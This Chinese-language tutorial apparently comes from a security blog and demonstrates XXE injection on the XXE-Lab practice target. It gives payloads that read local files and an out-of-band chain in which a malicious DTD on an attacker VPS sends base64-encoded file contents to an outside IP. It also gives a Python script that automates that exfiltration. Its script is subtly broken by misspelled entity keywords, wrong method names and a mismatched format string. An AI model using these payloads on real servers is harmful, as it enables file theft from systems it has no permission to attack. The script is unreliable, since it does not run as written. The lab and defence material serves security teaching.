当允许引用外部实体时,会造成外部实体注入(XXE)漏洞。通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害

根据有无回显的情况,XXE 漏洞可分为如下两种:

1
2
有回显的XXE
无回显的XXE

以 XXE-Lab 靶场来进行演示

有回显 XXE

先在自己的 C 盘目录下创建一个 txt 文件,内容随便,这里就以 1.txt 和 hacker!!!来进行演示

1
2
UserName:&b;
Password:admin

抓包 Login 并发送到重发器

这里可以看到是以 xml 的形式发送到 doLogin.php 进行解析,那就直接试着在 body 中加入 xml 的内容,看看是否能被解析

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY b SYSTEM "file:///c:/1.txt">
]>

构造 payload 对 C 盘下的 1.txt 文件进行读取, <!ENTITY b SYSTEM "file:///c:/1.txt"> 中的 b 为用户名中的参数,"" 之间为读取文件以及文件路径

1
2
3
file:///                #file协议读取文件
http://url/file.txt #http协议读取站点下的文件
PHP://filter #文件流形式读取php文件

成功读取,修改 txt 中的内容为 Hello hacker!!! 再试一遍

无回显 XXE

接下来进行无回显的 XXE 演示。在这之前需要关闭靶场的信息输出,打开靶场目录下的 php_xxe/doLogin.php 文件

1. 注释 echo $result;
2. 添加 error_reporting (0);

同样再次尝试注入,发现不会返回任何信息

对于无回显的 XXE,需要构建一条带外数据(Out-of
Band,OOB)通道来读取数据,思路如下:

1
2
3
4
1.攻击者先发送payload1给Web服务器
2.payload1触发web服务器,web服务器向vps获取恶意DTD,并执行payload2
3.payload2使web服务器把结果作为参数来访问vps上的HTTP服务
4.攻击者通过vps的HTTP访问记录得到结果

攻击过程图如下:

首先在 vps 上创建名为 evil.xml 的恶意 DTD 文件,并将其放在 apache 的网页目录下,同时开启 apache 服务

payload1:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt">
<!ENTITY % remote SYSTEM "http://117.50.184.154/evil.xml">
%remote;
%int;
%send;
]>

payload2:

1
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://43.138.160.92/?content=%file;'>"> %payload;

根据 payload1 和 payload2,evil.xml 是攻击者存放于 vps 上 apache 的 web 目录下的文件,流程理解为:先发送 payload1 给 web 服务器,其中包括文件的读取操作和引用恶意 DTD 的操作,payload1 作为 xml 文件会被发送至 doLogin 进行解析,但是读取后并没有回显,这时候 remote 引用了恶意的 DTD 文件,进行解析,执行了 payload2,执行 send 指令将回显作为参数发送到 vps 上,并且对 vps 的 http 服务进行了访问,这时候攻击者通过 vps 的 http 的访问记录便可以读取到回显。相当于将回显作为参数进行了一次转发,通过另外的渠道进行了读取
接下来开始复现

ubuntu 的机子直接用命令安装 apache 服务

1
sudo apt-get install apache2

访问下公网 ip 确定 apache 服务已经搭建完毕

接着在 /var/www/html 中写入 evil.xml 文件,内容为 payload2,写入成功后 ip/evil.xml 访问文件确认是否能被 payload1 引用到

成功,接下来就是利用环节了

在 vps 上命令开启访问日志的监控

1
tail -f /var/log/apache2/access.log

接着抓包登录界面,使用 payload1 并发送到重发器当中进行发送

回显 200,发送成功,回 vps 上查看

成功实现转发,由于之前对读取操作的回显进行了 base64 编码,因此该串 base64 编码便是读取文件的内容,进行解码

成功读取

检测方法

在目标服务器无回显情况下,只能通过 OOB 信息传送来进行 XXE 攻击,但实际的操作过程则比较繁琐,针对无回显的 XXE,通过 python 脚本来实现流程自动化
写入脚本相关信息和模块

1
2
3
4
from http.server import HTTPServer,SimpleHTTPRequestHandler
import threading
import requests
import sys

编写攻击 payload 的生成函数,能够根据给定的 IP 地址和端口生成相应的包含恶意 DTD 的 XML 文件:

1
2
3
4
5
def ExportPayload(lip,lport):
file = open('evil.xml','w')
file.write("<!ENTITY % payload \"<!ENTITY &#x25; send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(lip,lport))
file.close()
print("[*] payload文件创建成功!")

编写 HTTP 服务函数,通过 http.server 模块实现 HTTP 服务,用来监听目标服务器返回的数据:

1
2
3
4
5
6
7
# 开启HTTP服务,接收数据
def StartHTTP(lip, lport):
# HTTP监听的IP地址和端口
serverAddr = (lip, lport)
httpd = HTTPServer(serverAddr, MyHandler)
print("[*]正在开启HTTP服务器:\n\n================\nIP地址:{0}\n端口:{1}\n==================\n".format(lip, lport))
httpd.server_forever()

编写 POST 发送函数,用来向目标服务器发送攻击数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 通过POST发送攻击数据
def SendData(lip, lport, url):
# 需要读取的文件路径(默认值)
filePath = "c:\\1.txt"
while True:
# 对用户输入的文件路径斜杠替换
filePath = filePath.replace('\\', "/")
data = "<?xml version=\"1.0\"?>\n<?DOCTYPE test[\n<!ENtity % file SYSTEM " \
"\"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTUTY % remote SYSTEM \"http://{1}:{" \
"2}/evil.xml\">\n%remote;\n%int;\n%send;\n]>".format(
filePath, lip, lport)
requests.post(url, data=data)
# 继续接收用户的输入,读取指定文件
filePath = input("Input filePath:")

定义一个消息处理类,这个类继承自 SimpleHTTPRequestHandler。同时需要对原生的日志消息函数进行重写,使其在输出访问信息的同时,把访问的信息记录到文件中去(该函数位于 BaseHTTPServer.py 中):

1
2
3
4
5
6
7
8
9
10
# 对原生的log_message函数进行重写,在输出结果的同时把结果保存到文件中
class MyHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
# 终端输出HTTP访问信息
sys.stderr.write("%s - - [%s] %s\n" % (self.client_address[0], self.log_data_time_string(), format % args))
# 保存信息到文件
textFile = open("result.txt", "a")
textFile.write("%s - - [%s] %s\n" % (
self.client_address[0], self.client_address[0], self.log_data_time_string(), format % args))
textFile.close()

编写主函数,在其中进行相关变量的定义以及函数的调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if __name__ == '__main__':
# 本机IP
lip = "IP"
# 本机HTTP监听端口
lport = port
# 目标网站提交表单的URL
url = "http://IP/xxe-lab/php_xxe/doLogin.php"
# 创建payload文件
ExportPayload(lip, lport)
# HTTP服务线程
threadHTTP = threading.Thread(target=StartHTTP, args=(lip, lport))
threadHTTP.start()
# 发送POST数据线程
threadPOST = threading.Thread(target=SendData, args=(lip, lport,url))
threadPOST.start()

防御策略

XXE 的危害不仅在于攻击服务器,还能通过 XXE 进行内网的端口探测以及攻击内网网站等
防御方式:

1. 默认禁止外部实体的解析

2. 对用户提交的 XML 数据进行过滤,如关键词 <!DOCTYPE 和 <!ENTITY 或者 SYSTEM 和 PUBLIC 等